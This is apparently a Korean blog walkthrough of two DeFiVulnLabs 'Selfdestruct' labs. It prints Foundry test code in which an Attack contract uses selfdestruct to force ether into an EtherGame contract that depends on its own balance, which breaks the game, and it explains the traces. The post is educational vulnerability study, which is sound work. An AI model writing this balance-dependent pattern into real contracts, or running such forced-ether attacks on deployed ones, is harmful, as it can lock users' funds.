새소식

인기 검색어

Web3/BlockChain

[BlockChain] DeFiVulnLabs - Selfdestruct

  • -
반응형

Selfdestruct1

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/


contract EtherGame {
    uint constant public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;   // vulnerable
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}


contract ContractTest is Test {
    EtherGame EtherGameContract;
    Attack AttackerContract;
    address alice;
    address eve;

    function setUp() public {
        EtherGameContract = new EtherGame();
        alice = vm.addr(1);
        eve = vm.addr(2);
        vm.deal(address(alice), 1 ether);   
        vm.deal(address(eve), 1 ether); 
    }

    function testFailSelfdestruct() public {
        console.log("Alice balance", alice.balance);
        console.log("Eve balance", eve.balance);

        console.log("Alice deposit 1 Ether...");
        vm.prank(alice);    
        EtherGameContract.deposit{value: 1 ether}();

        console.log("Eve deposit 1 Ether...");
        vm.prank(eve);
        EtherGameContract.deposit{value: 1 ether}();

        console.log("Balance of EtherGameContract", address(EtherGameContract).balance);

        console.log("Attack...");
        AttackerContract = new Attack(EtherGameContract);
        AttackerContract.dos{value: 5 ether}();

        console.log("Balance of EtherGameContract", address(EtherGameContract).balance);
        console.log("Exploit completed, Game is over");
        EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
    }
}



contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function dos() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

코드 test 결과이다.

EtherGameContract Balance가 2 ether에서 7 ether로 증가하였다.

Trace를 분석해 보자.

Alice address: 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

Eve address: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF

EtherGame Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b

Attack의 dos함수를 5 ether를 주고 실행시켰음

EtherGame.dos{value : 5 ether}인 상태에서 selfdestruct() 함수를 만나면 Attack Contract 파괴, 5 ether는 EtherGame에게 송금

EtherGame.balance = 7 ether

Vulnerability

function dos() public payable {
    // You can simply break the game by sending ether so that
    // the game balance >= 7 ether

    // cast address to payable
    address payable addr = payable(address(etherGame));
    selfdestruct(addr);
}

exploit

EtherGameContract.deposit{value: 1 ether}();

Selfdestruct2

Source Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

import "forge-std/Test.sol";

/*
Try to send ether to Force contract
Force implements neither receive nor fallaback functions. Calls with any value will revert.
*/

contract ContractTest is Test {
        Force ForceContract;
        Attack AttackerContract;

function testselfdestruct2() public {


    ForceContract = new Force();
    console.log("Balance of ForceContract:", address(this).balance); 
    AttackerContract = new Attack();
    console.log("Balance of ForceContract:", address(ForceContract).balance); 
    console.log("Balance of AttackerContract:", address(AttackerContract).balance); 
    AttackerContract.attack{value: 1 ether}(address(ForceContract));

    console.log("Exploit completed");
    console.log("Balance of EtherGameContract:", address(ForceContract).balance);
    }
    receive() payable external{}
}

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}


contract Attack {

    function attack(address force) public payable {
    	selfdestruct(payable(force));    
	}  
}

코드 test 결과이다.

EtherGameContract의 Balance가 1 ether 증가하였다.

Trace를 분석해 보자.

Force Contract address: 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f

Attacker Contract address: 0x2e234DAe75C793f67A35089C9d99245E1C58470b

Attacker의 attack함수를 1 ether 주고 실행 인자는 address(forceContract)

selfdestruct(address(forceContract)) 함수가 실행되어 Attack Contract는 파괴되고, 1 ether는 Force Contract에 송금된다.

Vulnerability

contract Attack {

    function attack(address force) public payable {
        selfdestruct(payable(force));    
    }  
}

exploit

AttackerContract.attack{value: 1 ether}(address(ForceContract));
반응형
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.